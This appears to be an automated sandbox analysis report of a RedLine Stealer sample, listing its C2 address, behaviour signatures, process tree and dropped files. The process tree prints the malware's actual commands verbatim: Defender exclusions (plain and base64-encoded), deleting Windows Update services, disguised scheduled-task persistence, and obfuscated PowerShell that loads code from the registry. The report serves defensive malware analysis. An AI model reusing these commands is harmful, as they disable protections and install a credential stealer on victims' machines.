Analysis

  • max time kernel
    114s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2022, 15:11

General

  • Target
    2a6aec6a665529ab13edfc4b6f26ebeb.exe
  • Size 348KB
  • Sample221107-skk4msfdbp
  • SHA256 d4f7c5d0b04ff56a3134b2edfcef0a690b4d0f68ff047cbf624ab12d5dd8998d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • @wuz1muu

C2
  • 79.137.204.112:80

Attributes
  • auth_value

    a3a33a7e6530b7d72a0b8cb8ad20aa64

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Loads dropped DLL 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe
    "C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4944
      • C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
        "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\system32\cmd.exe
          cmd.exe "/C schtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:220
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
            5⤵
            • Creates scheduled task(s)
            PID:4964
      • C:\Users\Admin\AppData\Local\Microsoft\brave.exe
        "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1296
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          4⤵
            PID:3348
            • C:\Windows\system32\sc.exe
              sc stop UsoSvc
              5⤵
              • Launches sc.exe
              PID:912
            • C:\Windows\system32\sc.exe
              sc stop WaaSMedicSvc
              5⤵
              • Launches sc.exe
              PID:4656
            • C:\Windows\system32\sc.exe
              sc stop wuauserv
              5⤵
              • Launches sc.exe
              PID:3204
            • C:\Windows\system32\sc.exe
              sc stop bits
              5⤵
              • Launches sc.exe
              PID:4876
            • C:\Windows\system32\sc.exe
              sc stop dosvc
              5⤵
              • Launches sc.exe
              PID:4776
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
              5⤵
                PID:428
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                5⤵
                  PID:3464
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                  5⤵
                    PID:2520
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                    5⤵
                      PID:3928
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                      5⤵
                        PID:4524
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                      4⤵
                        PID:2900
                        • C:\Windows\system32\powercfg.exe
                          powercfg /x -hibernate-timeout-ac 0
                          5⤵
                            PID:2992
                          • C:\Windows\system32\powercfg.exe
                            powercfg /x -hibernate-timeout-dc 0
                            5⤵
                              PID:4236
                            • C:\Windows\system32\powercfg.exe
                              powercfg /x -standby-timeout-ac 0
                              5⤵
                                PID:1416
                              • C:\Windows\system32\powercfg.exe
                                powercfg /x -standby-timeout-dc 0
                                5⤵
                                  PID:3896
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                                4⤵
                                  PID:2692
                                • C:\Windows\system32\dialer.exe
                                  C:\Windows\system32\dialer.exe
                                  4⤵
                                    PID:3516
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                                    4⤵
                                      PID:3632
                                      • C:\Windows\system32\schtasks.exe
                                        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                                        5⤵
                                          PID:1644
                                    • C:\Users\Admin\AppData\Local\Microsoft\setup.exe
                                      "C:\Users\Admin\AppData\Local\Microsoft\setup.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of WriteProcessMemory
                                      PID:1640
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3340
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1128 -s 152
                                    2⤵
                                    • Program crash
                                    PID:4996
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1128 -ip 1128
                                  1⤵
                                    PID:4916
                                  • C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe
                                    C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:1652
                                  • C:\Program Files\Google\Chrome\updater.exe
                                    "C:\Program Files\Google\Chrome\updater.exe"
                                    1⤵
                                      PID:1828
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                      1⤵
                                        PID:4220
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                        1⤵
                                          PID:2608
                                        • C:\Windows\System32\dllhost.exe
                                          C:\Windows\System32\dllhost.exe /Processid:{191c6504-c356-4109-ba5c-818958b34942}
                                          1⤵
                                            PID:948

                                          Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

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                                                Downloads

                                                updater.exe

                                                • Path C:\Program Files\Google\Chrome\updater.exe
                                                • Size 2.8MB
                                                • SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
                                                • MD5 SHA1 SHA512 SSDEEP

                                                powershell.exe.log

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                • Size 2KB
                                                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                • MD5 SHA1 SHA512

                                                StartupProfileData-NonInteractive

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 944B
                                                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                                                • MD5 SHA1 SHA512

                                                StartupProfileData-NonInteractive

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 69496654c76a65ba517bb7ee3bacb598a1e778aa7ee7807bf7318087d8d39d22
                                                • MD5 SHA1 SHA512

                                                brave.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
                                                • Size 2.8MB
                                                • SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
                                                • MD5 SHA1 SHA512 SSDEEP

                                                brave.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
                                                • Size 2.8MB
                                                • SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
                                                • MD5 SHA1 SHA512 SSDEEP

                                                ofg.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
                                                • Size 4.8MB
                                                • SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
                                                • MD5 SHA1 SHA512 SSDEEP

                                                ofg.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
                                                • Size 4.8MB
                                                • SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
                                                • MD5 SHA1 SHA512 SSDEEP

                                                setup.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
                                                • Size 5.9MB
                                                • SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
                                                • MD5 SHA1 SHA512 SSDEEP

                                                setup.exe

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
                                                • Size 5.9MB
                                                • SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
                                                • MD5 SHA1 SHA512 SSDEEP

                                                nsExec.dll

                                                • Path C:\Users\Admin\AppData\Local\Temp\nsk55B.tmp\nsExec.dll
                                                • Size 7KB
                                                • SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
                                                • MD5 SHA1 SHA512 SSDEEP

                                                svcupdater.exe

                                                • Path C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe
                                                • Size 4.8MB
                                                • SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
                                                • MD5 SHA1 SHA512 SSDEEP

                                                svcupdater.exe

                                                • Path C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe
                                                • Size 4.8MB
                                                • SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
                                                • MD5 SHA1 SHA512 SSDEEP

                                                memory/592-226-0x00007FF8D11D0000-0x00007FF8D11E0000-memory.dmp

                                                memory/948-213-0x0000000140000000-0x0000000140042000-memory.dmp

                                                memory/948-219-0x00007FF911150000-0x00007FF911345000-memory.dmp

                                                memory/948-220-0x00007FF9109E0000-0x00007FF910A9E000-memory.dmp

                                                memory/948-215-0x0000000140000000-0x0000000140042000-memory.dmp

                                                memory/948-210-0x0000000140000000-0x0000000140042000-memory.dmp

                                                memory/1296-168-0x000002CD33F60000-0x000002CD33F82000-memory.dmp

                                                memory/1296-170-0x00007FF8F2EB0000-0x00007FF8F3971000-memory.dmp

                                                memory/1296-169-0x00007FF8F2EB0000-0x00007FF8F3971000-memory.dmp

                                                memory/2608-214-0x00007FF911150000-0x00007FF911345000-memory.dmp

                                                memory/2608-208-0x00007FF911150000-0x00007FF911345000-memory.dmp

                                                memory/2608-221-0x00007FF8F38E0000-0x00007FF8F43A1000-memory.dmp

                                                memory/2608-216-0x00007FF9109E0000-0x00007FF910A9E000-memory.dmp

                                                memory/2608-223-0x00007FF9109E0000-0x00007FF910A9E000-memory.dmp

                                                memory/2608-224-0x00007FF911150000-0x00007FF911345000-memory.dmp

                                                memory/2608-207-0x00007FF8F38E0000-0x00007FF8F43A1000-memory.dmp

                                                memory/2608-209-0x00007FF9109E0000-0x00007FF910A9E000-memory.dmp

                                                memory/2692-179-0x00007FF8F2EB0000-0x00007FF8F3971000-memory.dmp

                                                memory/2692-195-0x00007FF8F2EB0000-0x00007FF8F3971000-memory.dmp

                                                memory/3340-196-0x0000000008270000-0x00000000088EA000-memory.dmp

                                                memory/3340-166-0x0000000006100000-0x0000000006122000-memory.dmp

                                                memory/3340-161-0x0000000005330000-0x0000000005366000-memory.dmp

                                                memory/3340-173-0x0000000006930000-0x000000000694E000-memory.dmp

                                                memory/3340-222-0x0000000007EE0000-0x0000000007EE8000-memory.dmp

                                                memory/3340-202-0x0000000007CF0000-0x0000000007CFA000-memory.dmp

                                                memory/3340-211-0x0000000007E90000-0x0000000007E9E000-memory.dmp

                                                memory/3340-164-0x00000000059A0000-0x0000000005FC8000-memory.dmp

                                                memory/3340-191-0x0000000007AA0000-0x0000000007AD2000-memory.dmp

                                                memory/3340-192-0x0000000074DF0000-0x0000000074E3C000-memory.dmp

                                                memory/3340-193-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

                                                memory/3340-217-0x0000000007EF0000-0x0000000007F0A000-memory.dmp

                                                memory/3340-206-0x0000000007F10000-0x0000000007FA6000-memory.dmp

                                                memory/3340-167-0x00000000061A0000-0x0000000006206000-memory.dmp

                                                memory/3340-197-0x0000000007C30000-0x0000000007C4A000-memory.dmp

                                                memory/3632-205-0x00007FF8F38E0000-0x00007FF8F43A1000-memory.dmp

                                                memory/4944-148-0x00000000082C0000-0x0000000008310000-memory.dmp

                                                memory/4944-142-0x0000000007CE0000-0x0000000007D72000-memory.dmp

                                                memory/4944-141-0x0000000007370000-0x00000000073AC000-memory.dmp

                                                memory/4944-133-0x00000000007B0000-0x00000000007D8000-memory.dmp

                                                memory/4944-140-0x0000000007310000-0x0000000007322000-memory.dmp

                                                memory/4944-147-0x0000000008240000-0x00000000082B6000-memory.dmp

                                                memory/4944-139-0x00000000073F0000-0x00000000074FA000-memory.dmp

                                                memory/4944-138-0x0000000005A50000-0x0000000006068000-memory.dmp

                                                memory/4944-144-0x0000000007E30000-0x0000000007E96000-memory.dmp

                                                memory/4944-143-0x0000000008370000-0x0000000008914000-memory.dmp

                                                memory/4944-145-0x0000000008070000-0x0000000008232000-memory.dmp

                                                memory/4944-146-0x0000000008E50000-0x000000000937C000-memory.dmp